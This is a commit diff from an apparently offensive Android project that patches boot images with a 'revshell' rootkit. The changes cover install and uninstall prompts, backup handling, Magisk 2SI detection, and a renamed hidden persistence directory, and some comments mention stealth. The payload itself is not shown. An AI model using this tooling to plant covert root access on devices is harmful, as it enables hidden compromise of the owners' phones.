Skip to content

Commit 5fd1af2

Browse files
author
ng
committed
option to uninstall without backup
1 parent 9ca165e commit 5fd1af2

File tree

6 files changed

+84
-48
lines changed

6 files changed

+84
-48
lines changed

install/install.sh

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,11 @@ fi
2424

2525
if [ -d "$BACKUP_PATH" ]; then
2626
echo "[?] The 'backup_original_partitions' directory is already present."
27-
read -p "[?] Overwrite? (y/N) " answer
27+
read -p "[?] Overwrite? (y)es / (N)o / (q)uit " answer
28+
if [ "$answer" == "q" ] || [ "$answer" == "Q" ] || [ "$answer" == "quit" ]; then
29+
echo "[-] Cancelled by user"
30+
exit 1
31+
fi
2832
if [ "$answer" != "y" ] && [ "$answer" != "Y" ] && [ "$answer" != "yes" ]; then
2933
echo "[+] Will not pull backups"
3034
pull_backups=0
@@ -51,7 +55,7 @@ if [[ $pull_backups == 1 ]]; then
5155
rm -rf "$BACKUP_PATH" 2>/dev/null
5256
wfr && adb pull "/tmp/backup_original_partitions" "$BACKUP_PATH"
5357
if [ $? -ne 0 ]; then
54-
echo "[!] Warning: please pull backups manually. See prompt in ADB Sideload console."
58+
echo "[!] Warning: please pull backups manually. See prompt in TWRP console."
5559
exit 1
5660
else
5761
echo "[+] Backups pulled to '$BACKUP_PATH'"

install/uninstall.sh

Lines changed: 17 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -20,10 +20,18 @@ if [ ! -f "$TWRP_PATH" ]; then
2020
exit 1
2121
fi
2222

23+
BACKUPS_PRESENT=1
2324
if [ ! -d "$BACKUP_PATH" ]; then
24-
echo "[-] The '$BACKUP_PATH' directory is missing."
25-
echo "[-] Cannot uninstall without backups."
26-
exit 1
25+
BACKUPS_PRESENT=0
26+
echo "[?] The '$BACKUP_PATH' directory is missing."
27+
echo "[?] If you uninstall without backups, your /boot image may not match the stock one."
28+
read -p "[?] Continue? (Y)es / (n)o " answer
29+
if [ "$answer" == "n" ] || [ "$answer" == "N" ] || [ "$answer" == "no" ]; then
30+
echo "[-] Cancelled by user"
31+
exit 1
32+
fi
33+
else
34+
echo "[+] Uninstalling using backups"
2735
fi
2836

2937
echo "[*] Rebooting into bootloader"
@@ -32,14 +40,16 @@ fastboot boot $TWRP_PATH
3240
echo "[*] Booting '$TWRP_PATH'"
3341

3442
# Uninstall
35-
echo "[*] Pushing backups from '$BACKUP_PATH'"
36-
wfr && adb push "$BACKUP_PATH" /tmp/backup_original_partitions
37-
wfr && sleep 10 && adb shell twrp sideload || echo "[!] Please enter ADB sideload manually. Go to Advanced -> ADB sideload"
43+
if [ $BACKUPS_PRESENT -ne 0 ]; then
44+
echo "[*] Pushing backups from '$BACKUP_PATH'"
45+
wfr && adb push "$BACKUP_PATH" /tmp/backup_original_partitions
46+
fi
47+
wfr && sleep 10 && adb shell twrp sideload || echo "[!] Please start ADB sideload manually. Go to Advanced -> ADB sideload"
3848
wfs && echo "[*] Running uninstaller"
3949
adb sideload "$BUILD_PATH/$ZIP_UNINSTALL"
4050
if [ $? -ne 0 ]; then
4151
echo "[-] Uninstall failed. Something is wrong?"
42-
echo "[-] Ignore if there are no problems"
52+
echo "[-] Ignore if TWRP shows no problems"
4353
exit 1
4454
fi
4555

scripts/boot_patch.sh

Lines changed: 8 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -114,6 +114,7 @@ case $((STATUS & 3)) in
114114

115115
# Execute our patches after magisk to overwrite sepolicy (partial stealth?)
116116
# upd: still not working... magisk policy has priority?
117+
# hi fstab fastboot btw
117118
# ./magiskboot cpio ramdisk.cpio \
118119
# "mkdir 000 .rtk_backup" \
119120
# "add 000 .rtk_backup/.rtk config" \
@@ -131,13 +132,14 @@ case $((STATUS & 3)) in
131132
"add 750 .backup/init init" \
132133
"rm .backup/init.xz"
133134

135+
# contains "selinux_setup" ? -> 2si, too
136+
./magiskboot hexpatch init 73656c696e75785f7365747570 73656c696e75785f7365747570 && STATUS=8
137+
134138
if [ $((STATUS & 8)) -ne 0 ]; then
135-
ui_print ""
136-
ui_print "! WARNING: Magisk in 2SI scheme detected."
137-
ui_print "Full compatibility with Magisk is not yet implemented and tested. It is known to corrupt Magisk installation if flashed together."
138-
ui_print "To continue, comment out this check in scripts/boot_patch.sh"
139-
ui_print ""
140-
abort "! Cannot install with Magisk on 2SI device"
139+
ui_print " "
140+
ui_print "! WARNING: Magisk in 2SI scheme detected."
141+
ui_print "Full compatibility with Magisk is not yet implemented and tested. This tool will probably not work with Magisk installed."
142+
ui_print " "
141143
fi
142144

143145
;;

scripts/flash_script_revshell.sh

Lines changed: 16 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ umask 022
2222
OUTFD=$2
2323
ZIP=$3
2424

25-
if [ ! -f $COMMONDIR/util_functions.sh ]; then
25+
if [ ! -f "$COMMONDIR"/util_functions.sh ]; then
2626
echo "! Unable to extract zip file!"
2727
exit 1
2828
fi
@@ -31,8 +31,8 @@ fi
3131
. $COMMONDIR/util_functions.sh
3232

3333
ORIGINALBACKUPSDIR=/tmp/backup_original_partitions
34-
#rm -rf $ORIGINALBACKUPSDIR 2>/dev/null
35-
mkdir $ORIGINALBACKUPSDIR 2>/dev/null
34+
HAVE_BACKUP=$([ -d $ORIGINALBACKUPSDIR ])
35+
3636

3737
setup_flashable
3838

@@ -86,22 +86,24 @@ ui_print "- OK rootkit installed"
8686

8787
# Cleanups
8888
$BOOTMODE || recovery_cleanup
89-
rm -rf $TMPDIR
89+
rm -rf "$TMPDIR"
9090
rm -rf /tmp/magisk 2>/dev/null
9191

9292
ui_print "- Done"
9393

9494
# SILENTPOLICY - backups warning
95-
ui_print " "
96-
ui_print " "
97-
ui_print " ! WARNING !"
98-
ui_print " Installation completed successfully. Do not reboot to system right now. Please do not forget to dump backups via adb and save them:"
99-
ui_print " "
100-
ui_print " $ adb pull $ORIGINALBACKUPSDIR . "
101-
ui_print " "
102-
ui_print " If you forget to do this, you will not be able to automatically uninstall this tool, you will have to manually restore your stock /boot partition"
103-
ui_print " "
104-
ui_print " "
95+
if [ "$HAVE_BACKUP" -eq 0 ]; then
96+
ui_print " "
97+
ui_print " "
98+
ui_print " ! WARNING !"
99+
ui_print " Installation completed successfully. Do not reboot to system right now. Please do not forget to dump backups via adb and save them:"
100+
ui_print " "
101+
ui_print " $ adb pull $ORIGINALBACKUPSDIR . "
102+
ui_print " "
103+
ui_print " It is strongly recommended to save this backup. Otherwise you may not be able to restore stock /boot signed image."
104+
ui_print " "
105+
ui_print " "
106+
fi
105107

106108
ui_print " "
107109

scripts/uninstall_revshell.sh

Lines changed: 34 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,17 @@
11
#MAGISK
22
############################################
33
#
4-
# Revshell uninstaller (restore to stock /boot)
4+
# Revshell uninstaller
55
#
6-
# requires boot image (.gz) at
6+
# Two options available:
7+
# 1. full /boot restore using backup
8+
# requires boot image (.gz) at
79
# /tmp/backup_original_partitions/magisk_backup/boot.img.gz
810
#
11+
# 2. restore init in-place using backed up init in /boot
12+
# warning: may not restore stock /boot signature!
13+
# use 1st option if you want to revert to stock /boot
14+
#
915
############################################
1016

1117
##############
@@ -48,21 +54,15 @@ ORIGINALBACKUPSDIR=/tmp/backup_original_partitions
4854
if [ ! -d $ORIGINALBACKUPSDIR ]
4955
then
5056
ui_print " "
51-
ui_print " "
52-
ui_print " ! WARNING !"
53-
ui_print " Original backups not provided. Uninstall is not possible."
54-
ui_print " Please push previously saved backups to device via adb first:"
57+
ui_print " ! Note: "
58+
ui_print " Original backups not provided. Uninstall script may not restore stock /boot signature."
59+
ui_print " Push your backups before running uninstaller if you want to revert to stock boot:"
5560
ui_print " "
5661
ui_print " $ adb push backup_original_partitions /tmp"
5762
ui_print " "
58-
ui_print " Once it is done you will be able to uninstall the tool"
59-
ui_print " (directory $ORIGINALBACKUPSDIR must exist) "
60-
ui_print " "
61-
abort "!!!"
62-
exit 1
63+
else
64+
ui_print "- Backups uploaded and ready"
6365
fi
64-
ui_print "- Backups uploaded and ready"
65-
6666
# ================================================================================================ #
6767

6868
api_level_arch_detect
@@ -110,6 +110,9 @@ case $? in
110110
;;
111111
esac
112112

113+
./magiskboot cpio ramdisk.cpio test
114+
STATUS=$?
115+
113116
# Restore the original boot partition path
114117
[ "$BOOTNAND" ] && BOOTIMAGE=$BOOTNAND
115118

@@ -126,13 +129,29 @@ if [ -d $BACKUPDIR ]; then
126129
flash_image $BACKUPDIR/${name}.img.gz $IMAGE
127130
done
128131
else
129-
abort "! Boot image backup unavailable"
132+
[ $((STATUS & 2)) -ne 0 ] || abort "! Rootkit isn't installed. If it is, use backups to uninstall."
133+
ui_print "- Restoring init in-place"
134+
135+
# Internal restore
136+
./magiskboot cpio ramdisk.cpio restore
137+
if ! ./magiskboot cpio ramdisk.cpio "exists init"; then
138+
# A only system-as-root
139+
rm -f ramdisk.cpio
140+
fi
141+
./magiskboot repack $BOOTIMAGE
142+
143+
# Sign chromeos boot
144+
$CHROMEOS && sign_chromeos
145+
ui_print "- Flashing restored boot image"
146+
flash_image new-boot.img $BOOTIMAGE || abort "! Insufficient partition size"
147+
148+
ui_print "- OK rootkit uninstalled"
130149
fi
131150

132151
cd /
133152

134153
# Remove rootkit's persistence directory
135-
rm -rf /data/adb/.cache
154+
rm -rf /data/adb/.fura
136155

137156
recovery_cleanup
138157
ui_print "- Done"

scripts/util_functions.sh

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -478,9 +478,8 @@ install_magisk() {
478478
./magiskboot cleanup
479479
rm -f new-boot.img
480480

481-
482481
# do not create backups on reinstall (speed up installing)
483-
if [ ! -d /tmp/backup_original_partitions/magisk_backup ]; then
482+
if [ ! -d /tmp/backup_original_partitions ]; then
484483
ui_print "- Packing backups..."
485484
run_migrations
486485
fi
@@ -534,12 +533,12 @@ run_migrations() {
534533
# done
535534

536535
#Stock backups
537-
# LOCSHA1=$SHA1
536+
mkdir /tmp/backup_original_partitions 2>/dev/null
537+
538538
for name in boot dtb dtbo dtbs; do
539539
BACKUP=/tmp/magisk/stock_${name}.img
540540
[ -f $BACKUP ] || continue
541541
if [ $name = 'boot' ]; then
542-
# LOCSHA1=`$MAGISKBIN/magiskboot sha1 $BACKUP`
543542
mkdir /tmp/backup_original_partitions/magisk_backup 2>/dev/null
544543
fi
545544
TARGET=/tmp/backup_original_partitions/magisk_backup/${name}.img

0 commit comments

Comments
 (0)